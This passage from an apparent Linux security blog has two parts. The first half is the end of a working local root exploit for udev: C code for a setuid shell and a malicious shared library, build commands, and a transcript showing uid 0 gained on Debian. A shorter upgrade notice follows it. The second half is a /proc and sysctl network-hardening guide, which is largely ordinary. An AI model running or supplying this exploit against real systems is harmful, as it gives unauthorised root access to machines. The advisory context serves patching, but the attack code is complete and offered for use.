	execl("/tmp/suid", "suid", (void*)0);
}

_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 setgid(0);
 setuid(0);
 unsetenv("LD_PRELOAD");
 execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1


1.Save the code to the file testcode

2.Test Result:

libuuid@debian:~$ sh testcode 890(udev process id)

sh-3.1# id

uid=0(root) gid=0(root) groups=105(libuuid)

sh-3.1# cat /etc/debian_version

lenny/sid

sh-3.1# dpkg -l | grep udev

ii  udev                              0.114-2               /dev/ and hotplug management daemon

3.Please upgrade the new version

CentOS: yum update udev

Debian: apt-get update ; apt-get upgrade -y

Tagged with:
Jan 06

The proc filesystem offers some significant enhancements to your network security settings. Unfortunately, most of us are unaware of anything beyond the vague rumors. In the article, we’ll review some of the basic essentials of the kernel parameters necessary by altering /proc filesystem to add to the overall network security of your Linux server.

The proc filesystem is a area of more frequently being neglected. The pseudo file structure within proc allows you to interface with the internal data structures in the kernel, either obtaining information about the system or changing specific settings.

IP Specific Settings

IP forwarding of packets between interfaces is enabled by default on many systems.  If you’re not intending for your box to forward traffic between interfaces, or if you only have a single interface, it would probably be a good idea to disable forwarding. Note that altering this value resets all configuration parameters to their default values. you’ll want to modify this one before all other /proc settings.

if [ -r /proc/sys/net/ipv4/ip_forward ]; then
  echo "Disabling IP forwarding"
  echo "0" > /proc/sys/net/ipv4/ip_forward

fi 

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.ip_forward = 0


If instead you decide to enable forwarding, you will also be able to modify the rp_filter setting; something which is often misunderstood by network administrators. The rp_filter can reject incoming packets if their source address doesn’t match the network interface that they’re arriving on, which helps to prevent IP spoofing. Turning this on, however, has its consequences: If your host has several IP addresses on different interfaces, or if your single interface has multiple IP addresses on it, you’ll find that your kernel may end up rejecting valid traffic. It’s also important to note that even if you do not enable the rp_filter, protection against broadcast spoofing is always on. Also, the protection it provides is only against spoofed internal addresses; external addresses can still be spoofed.. By default, it is disabled. To enable it, run the following:

if [ -r /proc/sys/net/ipv4/conf/all/rp_filter ]; then
  echo "Enabling rp_filter"
  echo "1" > /proc/sys/net/ipv4/conf/all/rp_filter
fi

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.conf.all.rp_filter = 1

You may have also noticed the "all" subdirectory in this last example. In /proc/sys/net/ipv4/conf there is one subdirectory for each interface on your system along with one directory called "all". Changing specific interface directories only affects that specific interface, while changes made to the "all" directory affects all interfaces on the system.

If you have compiled your kernel with CONFIG_SYNCOOKIES, you will be able to optionally turn on or off protection against SYN flood attacks. Note the emphasis, as compiling the kernel with this value does not enable it by default. It works by sending out ‘syncookies’ when the syn backlog queue of a socket overflows. What is often misunderstood is that socket backlogging is not supported in newer operating systems, which means that your error messages may not be correctly received by the offending system. Also, if you see synflood warnings in your logs, make sure they are not the result of a heavily loaded server before enabling this setting. They can also cause connection problems for other hosts attempting to reach you. However, if you do want to enable this setting, perform the following:

if [ -r /proc/sys/net/ipv4/tcp_syncookies ]; then
  echo "Enabling tcp_syncookies"
  echo "1" > /proc/sys/net/ipv4/tcp_syncookies
fi

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.tcp_syncookies = 1

Normally, a host has no control over the route any particular packet takes beyond its first hop. It is up to the other hosts on the network to complete the delivery. IP Source Routing (SRR) is a method of specifying the exact path that a packet should take among the other hosts to get to its destination. This is generally a bad idea for the security conscious, as someone could direct packets to you through a trusted interface and effectively bypass your security in some cases. A good example is traffic, such as SSH or telnet, that is blocked on one interface might arrive on another of your host’s interfaces if source routing is used, which you might not have anticipated in your firewall settings. You’ll probably want to disable this setting with:

if [ -r /proc/sys/net/ipv4/conf/all/accept_source_route ]; then
  echo "Disabling source routing"
  echo "0" > /proc/sys/net/ipv4/conf/all/accept_source_route
fi

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.conf.all.accept_source_route = 0

Packets that have source addresses with no known route are referred to as "martians". For example, if you have two different subnets plugged into the same hub, the routers on each end will see each other as martians. To log such packets to the kernel log, which should never show up in the first place, you’ll need to issue:

if [ -r /proc/sys/net/ipv4/conf/all/log_martians ]; then
  echo "Enabling logging of martians"
  echo "1" > /proc/sys/net/ipv4/conf/all/log_martians

fi

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.conf.all.log_martians = 1

 
ICMP Specific Settings

Ping scanning is typically used to determine which hosts on a network are up. Typically this is done by sending ICMP ECHO request packets to the target host. This is seemingly innocent behavior, however often network administrators will block such traffic to increase their obscurity. The choices involve blocking ICMP ECHO requests to broadcast/multicast addresses and directly to the host itself. The respective commands to disable protection are:

echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all

ICMP redirect messages can also be a pain. If your box is not acting as a router, you’ll probably want to disable them:

echo "0" > /proc/sys/net/ipv4/conf/all/accept_redirects

Sometimes you will come across routers that send out invalid responses to broadcast frames. This is a violation of RFC 1122, "Requirements for Internet Hosts — Communication Layers". As a result, these events are logged by the kernel. To avoid filling up your logfile with unnecessary clutter, you can tell the kernel not to issue these warnings:

echo "1" > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses

 
Additional Resources

For more information regarding the /proc filesystem, you can refer to the documentation that comes with the Linux kernel source. Of specific help is Documentation/filesystems/proc.txt by Bowden, Bauer & Nerin. Additionally,
you can refer to Documentation/networking/ip-sysctl.txt by Kuznetsov & Savola.

Tagged with:
preload preload preload